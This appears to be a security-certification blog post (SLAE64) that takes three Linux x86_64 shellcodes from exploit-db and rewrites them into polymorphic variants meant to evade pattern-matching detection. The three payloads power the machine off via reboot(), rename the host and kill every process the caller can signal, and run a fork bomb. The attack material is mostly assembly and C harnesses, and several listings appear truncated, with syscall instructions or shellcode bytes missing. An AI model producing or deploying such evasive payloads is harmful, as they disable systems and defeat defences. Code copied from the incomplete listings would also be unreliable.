Polymorphic Shellcode Linux X86_64

3 minute read


In general polymorphism mean the ability to appear in many forms, it’s also referred to as a feature of object-oriented programing in computer science. In this post we will take three sample shellcodes off of exploit-db and mutate them in order to beat pattern matching. The final shellcode size should be less or equal to 150% of the original shellcode. Please refer to my SLAE32 series to learn more about polymorphism.

Shellcode I

In the first shellcode we’ll look at issuing power off command via reboot() function and its 19 bytes in size which means we have up to 28 bytes of space.

# Linux/x86_64 reboot(POWER_OFF) 19 bytes shellcode
# Date: 2010-04-25
# Author: zbt
# Tested on: x86_64 Debian GNU/Linux


    section .text
        global _start

        mov     edx, 0x4321fedc
        mov     esi, 0x28121969
        mov     edi, 0xfee1dead
        mov     al,  0xa9
int main(void)
    char reboot[] =
    "\xba\xdc\xfe\x21\x43"  // mov    $0x4321fedc,%edx
    "\xbe\x69\x19\x12\x28"  // mov    $0x28121969,%esi
    "\xbf\xad\xde\xe1\xfe"  // mov    $0xfee1dead,%edi
    "\xb0\xa9"              // mov    $0xa9,%al
    "\x0f\x05";             // syscall

    (*(void (*)()) reboot)();

    return 0;

The following is the final polymorphic shellcode with a size of 27 bytes.

; int reboot(int magic, int magic2, int cmd, void *arg)
; rax=169, rdi=0xfee1dead, rsi=0x28121969, rdx=0x4321fedc

global _start

section .text

	add al, 0xa9
	mov edi, 0x7F70EF56
	shl rdi, 0x1
	inc edi
	mov edx, 0x28121969
	mov esi, 0x4321fedc
	xchg rdx, rsi

Shellcode II

In the second shellcode we’re going to play with changing the hostname to Rooted ! via sethostname() function and then terminate every process for which the calling process has permission to send signals to using kill() function. The original shellcode size is 33 bytes which leave us with 49 bytes.

# Linux/x86_64 sethostname() & killall 33 bytes shellcode
# Date: 2010-04-26
# Author: zbt
# Tested on: x86_64 Debian GNU/Linux
    ; sethostname("Rooted !");
    ; kill(-1, SIGKILL);
    section .text
        global _start
        ;-- setHostName("Rooted !"); 22 bytes --;
        mov     al, 0xaa
        mov     r8, 'Rooted !'
        push    r8
        mov     rdi, rsp
        mov     sil, 0x8
        ;-- kill(-1, SIGKILL); 11 bytes --;
        push    byte 0x3e
        pop     rax
        push    byte 0xff
        pop     rdi
        push    byte 0x9
        pop     rsi
int main(void)
    char shellcode[] =
    (*(void (*)()) shellcode)();
    return 0;

The final shellcode size is 38 bytes.

global _start

section .text

	; int sethostname(const char *name, size_t len)
	; rax=170, rdi="Rooted !", rsi=8
	add al, 170
	mov rbx, 0xDEDF9B9A8B9090AD
	not rbx
	push rbx
	push rsp
	pop rdi
	push byte 0x9
	pop rsi
	dec esi

	; int kill(pid_t pid, int sig)
	; rax=62, rdi=-1, rsi=9
	push 62
	pop rax
	push r15
	pop rdi
	dec rdi
	inc esi

Shellcode III

The last shellcode generates infinite child processes using fork() function which will effectively render the system unavailable. The original shellcode size is 11 bytes meaning we need to stay below 16 bytes.

;Title: Linux/x86_64 - fork() Bomb (11 bytes)
;Author: Touhid M.Shaikh
;Contact: https://twitter.com/touhidshaikh
;Category: Shellcode
;Architecture: Linux x86_64
;Description: WARNING! this shellcode may crash your computer if executed
in your system.
;Shellcode Length: 11
;Tested on : Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux


#nasm -f elf64 shell.asm -o shell.o <=== Making Object File

#ld shell.o -o shell <=== Making Binary File

#./bin2shell.sh shell <== xtract hex code from the binary(

=================SHELLCODE(INTEL FORMAT)=================

section .text
    global _start:
    xor rax,rax
    add rax,57
    jmp _start

===================END HERE============================

====================FOR C Compile===========================

Compile with gcc with some options.

# gcc -fno-stack-protector -z execstack shell-testing.c -o shell-testing



unsigned char code[] = "\x48\x31\xc0\x48\x83\xc0\x39\x0f\x05\xeb\xf5";


printf("Shellcode Length:  %d\n", (int)strlen(code));

int (*ret)() = (int(*)())code;



/*More Shellcode => Download Link :
https://github.com/touhidshaikh/shellcode/tree/master/Linux */

I was able to shrink down the final shellcode size to 7 bytes which is 4 bytes less than the original. Defiantly an improvement compared to the other two.

global _start

section .text

	; pid_t fork(void)
	; rax=57
	push 0x39
	pop rax
	jnz _start

Closing Thoughts

This post was a good opportunity for me to explore new functions that might come in handy in the future. All of the above code are available on my github. Feel free to contact me for questions via Twitter @ihack4falafel.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE64–1579